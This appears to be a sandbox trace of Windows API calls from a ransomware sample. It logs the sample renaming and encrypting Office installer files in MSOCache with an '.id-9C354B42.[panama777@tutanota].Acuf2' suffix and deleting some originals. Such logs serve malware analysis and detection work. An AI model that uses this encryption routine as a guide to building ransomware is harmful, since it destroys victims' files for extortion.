	[0048.631] lstrlenW (lpString=".xlsx") returned 5
	[0048.631] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1
	[0048.631] lstrlenW (lpString=".ppt") returned 4
	[0048.631] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1
	[0048.631] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90
	[0048.631] lstrlenW (lpString=".zip") returned 4
	[0048.631] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1
	[0048.631] lstrlenW (lpString=".rar") returned 4
	[0048.631] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1
	[0048.631] lstrlenW (lpString=".bz2") returned 4
	[0048.631] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1
	[0048.631] lstrlenW (lpString=".7z") returned 3
	[0048.631] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1
	[0048.631] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90
	[0048.631] lstrlenW (lpString=".dbf") returned 4
	[0048.631] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1
	[0048.631] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90
	[0048.631] lstrlenW (lpString=".1cd") returned 4
	[0048.631] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1
	[0048.631] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90
	[0048.631] lstrlenW (lpString=".jpg") returned 4
	[0048.631] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1
	[0048.632] lstrcmpiW (lpString1=".msi", lpString2=".Acuf2") returned 1
	[0048.632] lstrlenW (lpString="OfficeMUI.msi") returned 13
	[0048.632] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0048.632] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=3702272) returned 1
	[0048.632] CloseHandle (hObject=0x1a0) returned 1
	[0048.632] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi")) returned 0x2020
	[0048.632] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0048.632] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0048.633] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0048.633] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc6c | out: lpNewFilePointer=0x0) returned 1
	[0048.633] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0048.633] ReadFile (in: hFile=0x1a0, lpBuffer=0x3a40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a40058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0048.637] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0048.637] ReadFile (in: hFile=0x1a0, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0048.645] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x310fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0048.645] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0048.645] ReadFile (in: hFile=0x1a0, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0048.660] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.660] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x310fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x310fcb0*=0xc0106, lpOverlapped=0x0) returned 1
	[0048.992] SetEndOfFile (hFile=0x1a0) returned 1
	[0048.992] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f237d0
	[0049.711] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
	[0049.711] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f237d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f237d0*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0049.712] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
	[0049.712] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f237d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f237d0*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0049.717] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
	[0049.717] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f237d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f237d0*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0049.719] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f237d0 | out: hHeap=0x4f0000) returned 1
	[0049.719] CloseHandle (hObject=0x1a0) returned 1
	[0049.719] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0049.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76
	[0049.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76
	[0049.719] lstrlenW (lpString=".doc") returned 4
	[0049.719] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0049.719] lstrlenW (lpString=".docx") returned 5
	[0049.719] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0049.719] lstrlenW (lpString=".pdf") returned 4
	[0049.719] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0049.719] lstrlenW (lpString=".xls") returned 4
	[0049.720] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0049.720] lstrlenW (lpString=".xlsx") returned 5
	[0049.720] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0049.720] lstrlenW (lpString=".ppt") returned 4
	[0049.720] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0049.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76
	[0049.720] lstrlenW (lpString=".zip") returned 4
	[0049.720] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0049.720] lstrlenW (lpString=".rar") returned 4
	[0049.720] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0049.720] lstrlenW (lpString=".bz2") returned 4
	[0049.720] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0049.720] lstrlenW (lpString=".7z") returned 3
	[0049.720] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0049.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76
	[0049.720] lstrlenW (lpString=".dbf") returned 4
	[0049.720] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0049.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76
	[0049.720] lstrlenW (lpString=".1cd") returned 4
	[0049.720] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0049.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76
	[0049.720] lstrlenW (lpString=".jpg") returned 4
	[0049.720] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0049.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76
	[0049.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76
	[0049.720] lstrlenW (lpString=".doc") returned 4
	[0049.720] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0049.720] lstrlenW (lpString=".docx") returned 5
	[0049.720] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0049.720] lstrlenW (lpString=".pdf") returned 4
	[0049.720] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0049.721] lstrlenW (lpString=".xls") returned 4
	[0049.721] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0049.721] lstrlenW (lpString=".xlsx") returned 5
	[0049.721] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0049.721] lstrlenW (lpString=".ppt") returned 4
	[0049.721] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0049.721] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76
	[0049.721] lstrlenW (lpString=".zip") returned 4
	[0049.721] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0049.721] lstrlenW (lpString=".rar") returned 4
	[0049.721] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0049.721] lstrlenW (lpString=".bz2") returned 4
	[0049.721] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0049.721] lstrlenW (lpString=".7z") returned 3
	[0049.721] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0049.721] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76
	[0049.721] lstrlenW (lpString=".dbf") returned 4
	[0049.721] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0049.721] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76
	[0049.721] lstrlenW (lpString=".1cd") returned 4
	[0049.721] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0049.721] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76
	[0049.721] lstrlenW (lpString=".jpg") returned 4
	[0049.721] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0049.721] lstrcmpiW (lpString1=".msi", lpString2=".Acuf2") returned 1
	[0049.721] lstrlenW (lpString="AccessMUISet.msi") returned 16
	[0049.721] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0049.722] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=868864) returned 1
	[0049.722] CloseHandle (hObject=0x1a0) returned 1
	[0049.722] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 0x2020
	[0049.722] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0049.722] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0049.722] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0049.722] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0049.722] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0049.723] GetLastError () returned 0x0
	[0049.723] ReadFile (in: hFile=0x1a0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x310fed4*=0xd4200, lpOverlapped=0x0) returned 1
	[0049.779] WriteFile (in: hFile=0x1e0, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x310fc9c*=0xd4210, lpOverlapped=0x0) returned 1
	[0049.959] ReadFile (in: hFile=0x1a0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0049.959] WriteFile (in: hFile=0x1e0, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x310fc9c*=0xf4, lpOverlapped=0x0) returned 1
	[0049.959] SetEndOfFile (hFile=0x1e0) returned 1
	[0049.959] CloseHandle (hObject=0x1e0) returned 1
	[0049.959] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0049.959] SetEndOfFile (hFile=0x1a0) returned 1
	[0049.966] CloseHandle (hObject=0x1a0) returned 1
	[0049.966] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0049.967] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 1
	[0049.967] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79
	[0049.967] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79
	[0049.967] lstrlenW (lpString=".doc") returned 4
	[0049.967] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0049.967] lstrlenW (lpString=".docx") returned 5
	[0049.967] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1
	[0049.967] lstrlenW (lpString=".pdf") returned 4
	[0049.967] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0049.967] lstrlenW (lpString=".xls") returned 4
	[0049.967] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0049.967] lstrlenW (lpString=".xlsx") returned 5
	[0049.967] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1
	[0049.967] lstrlenW (lpString=".ppt") returned 4
	[0049.967] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0049.967] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79
	[0049.967] lstrlenW (lpString=".zip") returned 4
	[0049.967] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0049.967] lstrlenW (lpString=".rar") returned 4
	[0049.967] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0049.967] lstrlenW (lpString=".bz2") returned 4
	[0049.967] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0049.967] lstrlenW (lpString=".7z") returned 3
	[0049.968] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0049.968] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79
	[0049.968] lstrlenW (lpString=".dbf") returned 4
	[0049.968] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0049.968] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79
	[0049.968] lstrlenW (lpString=".1cd") returned 4
	[0049.968] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0049.968] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79
	[0049.968] lstrlenW (lpString=".jpg") returned 4
	[0049.968] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0049.968] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79
	[0049.968] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79
	[0049.968] lstrlenW (lpString=".doc") returned 4
	[0049.968] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0049.968] lstrlenW (lpString=".docx") returned 5
	[0049.968] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1
	[0049.968] lstrlenW (lpString=".pdf") returned 4
	[0049.968] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0049.968] lstrlenW (lpString=".xls") returned 4
	[0049.968] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0049.968] lstrlenW (lpString=".xlsx") returned 5
	[0049.968] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1
	[0049.968] lstrlenW (lpString=".ppt") returned 4
	[0049.968] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0049.968] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79
	[0049.968] lstrlenW (lpString=".zip") returned 4
	[0049.968] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0049.968] lstrlenW (lpString=".rar") returned 4
	[0049.968] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0049.968] lstrlenW (lpString=".bz2") returned 4
	[0049.968] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0049.969] lstrlenW (lpString=".7z") returned 3
	[0049.969] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0049.969] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79
	[0049.969] lstrlenW (lpString=".dbf") returned 4
	[0049.969] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0049.969] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79
	[0049.969] lstrlenW (lpString=".1cd") returned 4
	[0049.969] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0049.969] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79
	[0049.969] lstrlenW (lpString=".jpg") returned 4
	[0049.969] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0049.969] lstrcmpiW (lpString1=".dll", lpString2=".Acuf2") returned 1
	[0049.969] lstrlenW (lpString="osetup.dll") returned 10
	[0049.969] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0049.969] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=7378792) returned 1
	[0049.969] CloseHandle (hObject=0x1a0) returned 1
	[0049.970] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020
	[0049.970] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0049.970] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0049.970] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0049.970] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc6c | out: lpNewFilePointer=0x0) returned 1
	[0049.971] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0049.971] ReadFile (in: hFile=0x1a0, lpBuffer=0x3a40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a40058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0050.044] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0050.044] ReadFile (in: hFile=0x1a0, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0050.047] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x310fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0050.047] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0050.047] ReadFile (in: hFile=0x1a0, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0050.070] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.070] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x310fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x310fcb0*=0xc0100, lpOverlapped=0x0) returned 1
	[0050.327] SetEndOfFile (hFile=0x1a0) returned 1
	[0050.327] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3fd37f8
	[0050.331] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
